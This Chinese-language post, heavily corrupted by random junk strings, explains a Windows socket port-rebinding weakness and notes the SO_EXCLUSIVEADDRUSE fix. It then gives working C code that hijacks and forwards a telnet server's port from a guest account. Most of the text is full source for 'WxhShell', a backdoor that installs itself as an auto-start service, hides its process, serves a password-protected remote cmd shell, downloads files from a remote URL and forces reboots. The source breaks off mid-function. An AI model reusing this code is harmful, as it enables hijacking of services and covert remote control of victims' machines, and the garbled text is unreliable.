在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
('lnQD.Hd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|M?HdxPa V8sY7QK= saddr.sin_family = AF_INET;
Ue8D:CM E^YbyJ=1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;VuB8cnL` os.x|R]_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
v8@dvT< @i68%6H`? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
YiJu48J #
R&[+1=9j 这意味着什么?意味着可以进行如下的攻击:
Yq
Fzbm{\ .Ep3~9TBW 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
lC4By,1* FGH>;H@ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Jzdc'3dq 6~8
RFf" 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
h0eo:Ahi m2! 7M%]GC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z
K(5&u "EHc&,B` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;MMFF { </=PN1=A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L)+ eM&W U .Od 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=_H39)|T {
&'TA #include
@j
(jOe #include
#TWc` 8 #include
<S}qcjG #include
kW~F* DWORD WINAPI ClientThread(LPVOID lpParam);
ry\']\k int main()
o{he)r6)_ {
q"Md)?5N WORD wVersionRequested;
#Kl2K4 DWORD ret;
]]Z,Qu#<- WSADATA wsaData;
8bGq"!w- BOOL val;
C|I
1 m SOCKADDR_IN saddr;
AWDjj\Q4 SOCKADDR_IN scaddr;
16>uD;G int err;
vf= SOCKET s;
XZInu5( SOCKET sc;
2T5xSpC int caddsize;
xAjQW= HANDLE mt;
gAj)3T@
DWORD tid;
`Z/ IW wVersionRequested = MAKEWORD( 2, 2 );
9CNHjs+-}s err = WSAStartup( wVersionRequested, &wsaData );
"(NHA+s/ if ( err != 0 ) {
@5y(>>C}8% printf("error!WSAStartup failed!\n");
l0&8vhw8k return -1;
`Ek !;u> }
r$F]e]Ic\ saddr.sin_family = AF_INET;
p.9v<I%0 y]l"u=$Tr{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;Kf|a}m - %RN-J*s] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
c-.>C) saddr.sin_port = htons(23);
#H[4?4r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
XNUqZ-M: {
[&CM-`
N printf("error!socket failed!\n");
FZ9<Q return -1;
^kr)U8 }
z6lz*%Yi val = TRUE;
j;v%4G //SO_REUSEADDR选项就是可以实现端口重绑定的
dM UDLr- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`X='g96C1 {
/;rN/ot2o printf("error!setsockopt failed!\n");
\V>%yl{8 return -1;
YBD {l }
AD\<}/3U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.Y|\7%( //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V,+[XB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
tA-B3 ] SR&
mHI-f0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
D-GU"^-9 {
`#rfp
9w ret=GetLastError();
n@;x!c< + printf("error!bind failed!\n");
$3'+V_CZ3 return -1;
!C#RW=h9 }
C._sgO listen(s,2);
eeU$uR while(1)
@MB _gt)7? {
XKX,7 caddsize = sizeof(scaddr);
4Aew
)
//接受连接请求
$ rYS sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&=Zg0Q if(sc!=INVALID_SOCKET)
;a&:r7]= {
ZZU 8B?) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
5j,qAay9 if(mt==NULL)
cN7z(I0[ {
U"+ ry.3` printf("Thread Creat Failed!\n");
*Qx|5L!_ break;
{p|%hhTK% }
/:`
i%E }
pPqN[OJ CloseHandle(mt);
kqW<e[ }
6b70w @P! closesocket(s);
huJq#5? WSACleanup();
Sz|CreFK16 return 0;
+.]}f}Y }
uq4sbkP DWORD WINAPI ClientThread(LPVOID lpParam)
SrtVoe[ {
7NB 9Vu|gD SOCKET ss = (SOCKET)lpParam;
$p3Wjf:bH SOCKET sc;
I'9s=~VfY, unsigned char buf[4096];
+M##mRD SOCKADDR_IN saddr;
A dEbyL long num;
@JEmybu DWORD val;
'UVv(- DWORD ret;
@CU|3Qg //如果是隐藏端口应用的话,可以在此处加一些判断
iM|"H.. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=)- Q?1q saddr.sin_family = AF_INET;
qH
Ga saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
^:!(jiH saddr.sin_port = htons(23);
:{s%=\k {d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tOg
8L2 {
[A9,!YY printf("error!socket failed!\n");
[Z#.]gb return -1;
Qf-k&d }
V$<G)dwUG5 val = 100;
%?oU{KzQ@; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0r-lb[n8i {
I?Jii8|W9 ret = GetLastError();
|SP.S 0.y return -1;
tnF9Vj[#%_ }
mvA xx`jc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*:T>~ilF {
Bdq"6SK> ret = GetLastError();
cL)rjty2 return -1;
c =N]!
,MO }
id tQXwa if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
te*Y]-&I|/ {
)~.&bEm\ printf("error!socket connect failed!\n");
W,/C?qFp closesocket(sc);
{,f!'i&b@ closesocket(ss);
:.S41S return -1;
<`xRqe:&9 }
aY[ 0A_ while(1)
mU+FQX {
oiv2rOFu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
tM$0 >E //如果是嗅探内容的话,可以再此处进行内容分析和记录
{?f ^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
an=+6lIl num = recv(ss,buf,4096,0);
lDJd#U'V if(num>0)
380-> send(sc,buf,num,0);
#
5f|1O else if(num==0)
sL7`=a.&T break;
B~ !G lT num = recv(sc,buf,4096,0);
]tQDk4&i if(num>0)
H@2v<e@ send(ss,buf,num,0);
'hlB;z|T else if(num==0)
c_G-R+ break;
KBr5bcm4u }
Kcw1uLb closesocket(ss);
bmO__1 closesocket(sc);
_.OMjUBZT return 0 ;
f1Yv hvWL }
dx13vZ3[U BH#C<0=" StyB"1y ==========================================================
w{r(F` l<aqiZSY 下边附上一个代码,,WXhSHELL
@r/Id{pCI 8XYD
L]I' ==========================================================
urrO1 u_4:#~b #include "stdafx.h"
g8+4$2`ny _PyW=Tj #include <stdio.h>
T`g?)/ #include <string.h>
Lf;
ta #include <windows.h>
&6\r #include <winsock2.h>
3%[)!zKv #include <winsvc.h>
miG;]-"^ #include <urlmon.h>
-; us12SZ z^P* : #pragma comment (lib, "Ws2_32.lib")
tIxhSI^ #pragma comment (lib, "urlmon.lib")
\Z\IK Zr.\`mG4f #define MAX_USER 100 // 最大客户端连接数
+(z_"[l" #define BUF_SOCK 200 // sock buffer
wsf Hd<Z_ #define KEY_BUFF 255 // 输入 buffer
V`g\ja*Y )]/i #define REBOOT 0 // 重启
zj9bSDVL( #define SHUTDOWN 1 // 关机
I3 G*+6V ~jp!"f #define DEF_PORT 5000 // 监听端口
+H[}T ] s`Yu"s
8}4 #define REG_LEN 16 // 注册表键长度
iJ`%yg, #define SVC_LEN 80 // NT服务名长度
qXrt0s[ I
9{40_ // 从dll定义API
A;fB6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-YzQ2#K typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l$k]O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
vLv|SqD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
yN 9$gfJC^ <OR.q // wxhshell配置信息
MPKpS3VS struct WSCFG {
j}rgOz. int ws_port; // 监听端口
XlPK3^'N)h char ws_passstr[REG_LEN]; // 口令
<pTQpU int ws_autoins; // 安装标记, 1=yes 0=no
`7QvwXsH] char ws_regname[REG_LEN]; // 注册表键名
~^lH ^J char ws_svcname[REG_LEN]; // 服务名
io9y;S"+ char ws_svcdisp[SVC_LEN]; // 服务显示名
VM-qVd- char ws_svcdesc[SVC_LEN]; // 服务描述信息
.N5hV3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s6uF5]M;2 int ws_downexe; // 下载执行标记, 1=yes 0=no
)|U_Z"0H^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,zAK3d&hj char ws_filenam[SVC_LEN]; // 下载后保存的文件名
bU;}!iVc] Mvy6"Q: };
+=ZWau :"M9*XeHO // default Wxhshell configuration
K/f>f; c struct WSCFG wscfg={DEF_PORT,
FF%\gJ "xuhuanlingzhe",
hFsA_x+L; 1,
jzl?e[qPA "Wxhshell",
D'7A2 f "Wxhshell",
qhV,u;\. "WxhShell Service",
:`+|'*b(A "Wrsky Windows CmdShell Service",
E
fP>O "Please Input Your Password: ",
9GMH*=3[= 1,
1.Haf "
http://www.wrsky.com/wxhshell.exe",
t{/:( Nu "Wxhshell.exe"
p!HPp Ef+# };
iEiu%T> W<\ kf4Y // 消息定义模块
zyaW3th char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
c=b+g+*xd char *msg_ws_prompt="\n\r? for help\n\r#>";
"bD+/\ z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@T<ad7g-2J char *msg_ws_ext="\n\rExit.";
c@RT$Q9j char *msg_ws_end="\n\rQuit.";
opm?':Qst char *msg_ws_boot="\n\rReboot...";
p+orBw3 char *msg_ws_poff="\n\rShutdown...";
9U#\nXM char *msg_ws_down="\n\rSave to ";
Z{Vxr*9oO +dqk6RE char *msg_ws_err="\n\rErr!";
OZ(Dpx(Q char *msg_ws_ok="\n\rOK!";
a$ C2} Ho|o,XvLv char ExeFile[MAX_PATH];
N7e`6d! int nUser = 0;
<\ y!3; HANDLE handles[MAX_USER];
I*^5'N' int OsIsNt;
Sp 7u_Pq{ 7V~
"x&Eu SERVICE_STATUS serviceStatus;
Ap11b|v SERVICE_STATUS_HANDLE hServiceStatusHandle;
GxYW4b \:]DFZ= ! // 函数声明
<_"B}c/2$ int Install(void);
Gx.P]O 3 int Uninstall(void);
}czsa_ int DownloadFile(char *sURL, SOCKET wsh);
L/H v4={ int Boot(int flag);
_,DO~L void HideProc(void);
4cott^K. int GetOsVer(void);
S4L-/<s[* int Wxhshell(SOCKET wsl);
DW1@<X void TalkWithClient(void *cs);
<(fdHQD!7> int CmdShell(SOCKET sock);
ki\B!<uv int StartFromService(void);
TG1P=g5h int StartWxhshell(LPSTR lpCmdLine);
Ba/RO36&c ,%A)"doaG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bRWIDPh VOID WINAPI NTServiceHandler( DWORD fdwControl );
t(}/g A[RHw< // 数据结构和表定义
GHv{ SERVICE_TABLE_ENTRY DispatchTable[] =
p`d
XqW {
2Oyy`k
{wscfg.ws_svcname, NTServiceMain},
p= {Jf}v {NULL, NULL}
}-d)ms! };
EbCIIMbe" #"::
'?, // 自我安装
fi=0{ int Install(void)
dw~[9oh {
^uia`sOP4 char svExeFile[MAX_PATH];
a* D,*C5} HKEY key;
(@+h5@J[`I strcpy(svExeFile,ExeFile);
1hR
(N OFL|RLiD // 如果是win9x系统,修改注册表设为自启动
-^yXLa;D if(!OsIsNt) {
$50\"mo~z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cC'
~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/dLA`=r Zx RegCloseKey(key);
$K})Q3FNi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d]8_l1O RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q8;#_HE RegCloseKey(key);
yk<VlS return 0;
^pj>9% }
qB:AkMd& }
tmp6hB }
bMsECA& else {
8q0I:SJy ~F;CE"3A // 如果是NT以上系统,安装为系统服务
?KCivf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
{J2#eiF if (schSCManager!=0)
Zb."*zL {
U2bzUxK SC_HANDLE schService = CreateService
@}(SR\~N] (
$0#6"urG schSCManager,
h}h^L+4 wscfg.ws_svcname,
t)} \9^Uo wscfg.ws_svcdisp,
b4CF`BG SERVICE_ALL_ACCESS,
RAV^D. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r@k"4ce- SERVICE_AUTO_START,
H8&p<= SERVICE_ERROR_NORMAL,
_wz2 svExeFile,
J_PH7Z*=, NULL,
UgC)7
K1 NULL,
oCVku:. NULL,
OqBC/p
B NULL,
ZZ("-#? NULL
Rv<L#!;
t );
^2EhlK^) if (schService!=0)
}z
wX {
?W!ry7gXO CloseServiceHandle(schService);
LKx` v90p CloseServiceHandle(schSCManager);
fJy)STQ4 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
.#0H{mk strcat(svExeFile,wscfg.ws_svcname);
:=9< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
tw<P)V\h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/g@^H/DO RegCloseKey(key);
Wwhgo.Wx return 0;
G6V/S aD }
:m Kxa }
Me,<\rQ CloseServiceHandle(schSCManager);
TGf;_)El }
XFQNr` }
+Rqbf |c0, return 1;
4z_n4= }
F.?01,J=1 b/u8}
J // 自我卸载
Ns<?b;aK int Uninstall(void)
q jz3<`7- {
=IZ[_ /@ HKEY key;
FaY_0G;y &s8<6P7 if(!OsIsNt) {
#byJqy&e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I8u!\F RegDeleteValue(key,wscfg.ws_regname);
59<hV? RegCloseKey(key);
zsVcXBz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=((yWn+t RegDeleteValue(key,wscfg.ws_regname);
OPuj|%Wgw RegCloseKey(key);
Blk}I return 0;
'Jydu }
xQU"A2{}> }
3z3_7XI }
c<4F4k7 else {
?Vc0) VI_+v[Hk/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
j (ygQ4T if (schSCManager!=0)
b7Oj<!Wo` {
"|t!7hC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Od{jt7 <j# if (schService!=0)
SkHYXe"] {
_ie.| 4k if(DeleteService(schService)!=0) {
*5D3vB*S CloseServiceHandle(schService);
xE1'&!4O CloseServiceHandle(schSCManager);
-Sz_mr return 0;
3v1 7" }
Y:psZ CloseServiceHandle(schService);
((<`zx }
()\jCNLT CloseServiceHandle(schSCManager);
9I.^LZ" }
rF] +,4 }
X>zlb$ H)>sTST( return 1;
>zngJ$ }
c}-(. eu %>zjGF< // 从指定url下载文件
('hT int DownloadFile(char *sURL, SOCKET wsh)
6kR\xP]Kr {
89HsPB1"t HRESULT hr;
#jA) >z\Q^ char seps[]= "/";
1e}8LH7 char *token;
?djQZ* char *file;
opp!0:jS* char myURL[MAX_PATH];
.Djta|puu char myFILE[MAX_PATH];
sgAzL zN!j%T.e
strcpy(myURL,sURL);
BStk&b token=strtok(myURL,seps);
kOjf #@c while(token!=NULL)
Lm6**v {
u =J&~ file=token;
~L{l+jK$p token=strtok(NULL,seps);
<)U4Xz ? }
5 1dSFr<# `1+F,&e GetCurrentDirectory(MAX_PATH,myFILE);
_<*Hv*Zm strcat(myFILE, "\\");
)`+YCCa6F strcat(myFILE, file);
pe.QiMW{8 send(wsh,myFILE,strlen(myFILE),0);
`A)"%~ send(wsh,"...",3,0);
h<x4YB5Mj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
wCCV2tk if(hr==S_OK)
41Ve}% return 0;
=\3Tv else
mLyBm return 1;
i9 A ~< [4Q"#[V&9 }
2k5/SV
X $yu?.b
9H# // 系统电源模块
I#G0, &Gv int Boot(int flag)
Eu,`7iQ?( {
pqR\>d0 HANDLE hToken;
NM#-Af*pg TOKEN_PRIVILEGES tkp;
nxo+?:** ?LP9iY${ if(OsIsNt) {
u:dx;* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cWLqU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
A''pS tkp.PrivilegeCount = 1;
:/N+;- 18 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'V&Y[7Aeq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
09h.1/ if(flag==REBOOT) {
_[h8P9YI4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z(GfK0vU return 0;
W|5_$p }
GJA`l8`SQ else {
cg{AMeW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Log|%P\ return 0;
S\#1 7.= }
bC6oqF'# }
9`B$V##-L else {
SA"8!soY3 if(flag==REBOOT) {
J'T=q/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rcN 9.1 return 0;
y 1\'(1 }
&
E}mX]t else {
`[fxyg:u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.uz|/Zy return 0;
vbG]mMJ }
BS1Ap }
B.dT)@Lx0 ('[TLHP return 1;
kHK0(bYK }
</`yd2 > 7'lZg<z{~j // win9x进程隐藏模块
t^tmz PWA void HideProc(void)
gm"#:< ) {
b #fTAC;< Ea $aUORm HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(eWPis[ if ( hKernel != NULL )
23]Y<->Eu< {
OFU/gaO~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
{KL5GowH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
, X{> FreeLibrary(hKernel);
Vu8,(A7D%O }
!wz/cM; s>n(`?@L return;
9pKGr@ & }
jeUUa-zR3 Wr?'$: // 获取操作系统版本
b;cMl' int GetOsVer(void)
E%N2k|%8d_ {
zZ-\a[F OSVERSIONINFO winfo;
o4y']JSN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~FU@wV^ GetVersionEx(&winfo);
d^E [|w; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4,p;Km& return 1;
uBrMk else
DGESba\2+ return 0;
;q>9W,jy }
zCaT tb|@ XzIx:J6 // 客户端句柄模块
=n(3o$r( int Wxhshell(SOCKET wsl)
TI|/u$SJ<Z {
PJ4(}a SOCKET wsh;
@~td`Z?1y struct sockaddr_in client;
,E )|y4 DWORD myID;
0MF}^"R c]k*}W3T while(nUser<MAX_USER)
_QOZsEe {
{-/^QX]6 int nSize=sizeof(client);
AnBJ(h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G\d$x4CVGc if(wsh==INVALID_SOCKET) return 1;
8jlLUG:g yY).mxRN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;E^K.6 if(handles[nUser]==0)
ZJW[?V\5= closesocket(wsh);
>/$Fh:R- else
@@G6p($ nUser++;
-e GL) M }
Q
n)d2-< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$tqJ/:I T#@lDpO return 0;
y[};J
vk }
dq;|?ESP xgu `Q`~ // 关闭 socket
cf_|nL#9 void CloseIt(SOCKET wsh)
#18 FA| {
d~J-|yyT closesocket(wsh);
Hy:V`> nUser--;
B5%n(,Lx ExitThread(0);
72uz<i!&$ }
{V19Zv"j #SVNHpx // 客户端请求句柄
T=f|,sK +7 void TalkWithClient(void *cs)
C G\tQbum {
CK+d!Eg Fzlozx1y[ SOCKET wsh=(SOCKET)cs;
75T_Dx(H char pwd[SVC_LEN];
G6P)C##ibn char cmd[KEY_BUFF];
ji1HV1S char chr[1];
VZka}7a int i,j;
'wasZ b<^ UB`ToE|Ii while (nUser < MAX_USER) {
m><w0k?t N7r_77%m0 if(wscfg.ws_passstr) {
pW0dB_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:e1o<JgPt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~5
N)f
UI\ //ZeroMemory(pwd,KEY_BUFF);
-/C)l)V} i=0;
O43YY2 while(i<SVC_LEN) {
^[E'1$D Ox!U8g8c // 设置超时
lH^^77"4Qo fd_set FdRead;
@Hb'8F struct timeval TimeOut;
\`<cH# FD_ZERO(&FdRead);
.{KjEg 6 FD_SET(wsh,&FdRead);
`?g`bN`Vn TimeOut.tv_sec=8;
bu7'oB~:V^ TimeOut.tv_usec=0;
2aZw[7s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Gc]~wD$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
wm{3&m -ezY= 0Q& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
B5V_e!*5F* pwd
=chr[0]; WF&[HKOy/
if(chr[0]==0xd || chr[0]==0xa) { ^efb
5
pwd=0; thi1kJ`L
break; _mvxsG
} v44}%$
i++; r[(xjn
} 5vAf7\*
@oF$LMD
// 如果是非法用户,关闭 socket ]r!>{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i@5[FC
} []R? ViG
o;a:Dd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6Tw#^;q-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =\#%j|9N9
X=JmF97
while(1) { sbkQ71T:
}eQRN<}P
ZeroMemory(cmd,KEY_BUFF); '3]p29v{
g[
0<m#"
// 自动支持客户端 telnet标准 v0D q@Q1
j=0; &c(WE
RW?-
while(j<KEY_BUFF) { /iNa'W5\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >SN|?|2U/
cmd[j]=chr[0]; 9Etz:?)b
if(chr[0]==0xa || chr[0]==0xd) { iI@jZVk
cmd[j]=0; .roqEasu8
break; v8gdU7Ll,
} (6CN/A{qe
j++; E9|eu\
} n,HE0Zn]Y_
OH^N" L
// 下载文件 l.\re"Q
if(strstr(cmd,"http://")) { ECdvX0*a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1aVa0q<
if(DownloadFile(cmd,wsh)) J`q]6qf#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q-Ux<#
else zsU=sTsL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?&LZB}1R
} s](aNe2j
else { _zt19%Wg
fJ\sguZ
switch(cmd[0]) { ^_t%kmL`
)VCzn~uf
// 帮助 IEjP<pLe
case '?': { x83
!C}4:
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nw& !}#m
break; hmx=
35
} <H1`
// 安装 n,eJ$2!J
case 'i': { YSJy`
if(Install()) ,P'P^0qJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >&g}7d%
else '}g*!jL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QIN."&qC^
break; ri`R<l8
} $@d9<83=
// 卸载 wiaX&-c]8
case 'r': { ;N B:e
if(Uninstall()) <2!v(EkI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{eCh$L
else nzjkX4KV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O%1v)AT&\
break; ^JI o?R
} Q%/<ZC.Mz6
// 显示 wxhshell 所在路径 ,\ 2a=Fp
case 'p': { ^l^fD t
char svExeFile[MAX_PATH]; J$4wL
F3
strcpy(svExeFile,"\n\r"); R1F5-#?'E
strcat(svExeFile,ExeFile);
{7!UQrm<
send(wsh,svExeFile,strlen(svExeFile),0); )eUW5
tS
break; Zh5RwQNE~
} 'Y$R~e^Y?
// 重启 `c/*H29
case 'b': { Y+4o B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8ul&x~2;X
if(Boot(REBOOT)) ;!o]wHmA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *5zrZ]^
else { e*(b
closesocket(wsh); Tu{h<Zy
ExitThread(0); )!g{Sbl
} EFpIp4_Y
break; mcz+P |
} f:g,_|JD$
// 关机 d=,%=@
case 'd': { 7'wS\/e4a
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qr1e@ =B
if(Boot(SHUTDOWN)) ZpUCfS)|&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TI9UXa:V\
else { w ;daC(:
closesocket(wsh); hYQ_45Z*?
ExitThread(0); *A}cL
} TF2>4 p
break; kc7lc|'z
} mzQ`N}]T:
// 获取shell @
S <-d
case 's': { 8 #ndFpu
CmdShell(wsh); LPG`^SA
closesocket(wsh); %{3
aW>yx
ExitThread(0); UgWs{y2SE.
break; nR4y`oP+
} K"<PGOF
// 退出 <Sz52Suh>
case 'x': { h'
!imQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \%sVHt`c
CloseIt(wsh); izKfU?2]X@
break; t_ksvWUo
} _k^0m
// 离开 Q]rD}Ckv-
case 'q': { >5R<;#8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J$~<V
IX
closesocket(wsh); _U;eN|Ww
WSACleanup(); "cTncL
exit(1); [D5t{[i
break; 7_2kDDW0
} <foCb%$(?
} %>g W9}kB
} y9#$O(G
SXao|{?O
// 提示信息 p3/*fH98
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DzQ1%!
} 6#j$GH *
} $3Z-)m
7PR#(ftz
return; `h}q
Eo`
} 9N%JP+<89
H
_Va"yTO6
// shell模块句柄 0
ugT2%
int CmdShell(SOCKET sock) FWH}j0Gj|
{ j3q~E[Mz\
STARTUPINFO si;
E7Cy(LO
ZeroMemory(&si,sizeof(si)); rF\"w0J_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =8gHS[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zI~owK)%Z
PROCESS_INFORMATION ProcessInfo; 47r_y\U h
char cmdline[]="cmd"; g%u&Zkevx
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `OymAyEYQ
return 0; ~}K5#<
} 8q`$y$06Dk
^-FRTC
// 自身启动模式 8 6f2'o+
int StartFromService(void) CF|]e:
{ GE|+fYVM-$
typedef struct ~[k%oA%W
{ (HoqR
DWORD ExitStatus; i&8FBV-
DWORD PebBaseAddress; PA6=wfc
DWORD AffinityMask; mAk{"65V
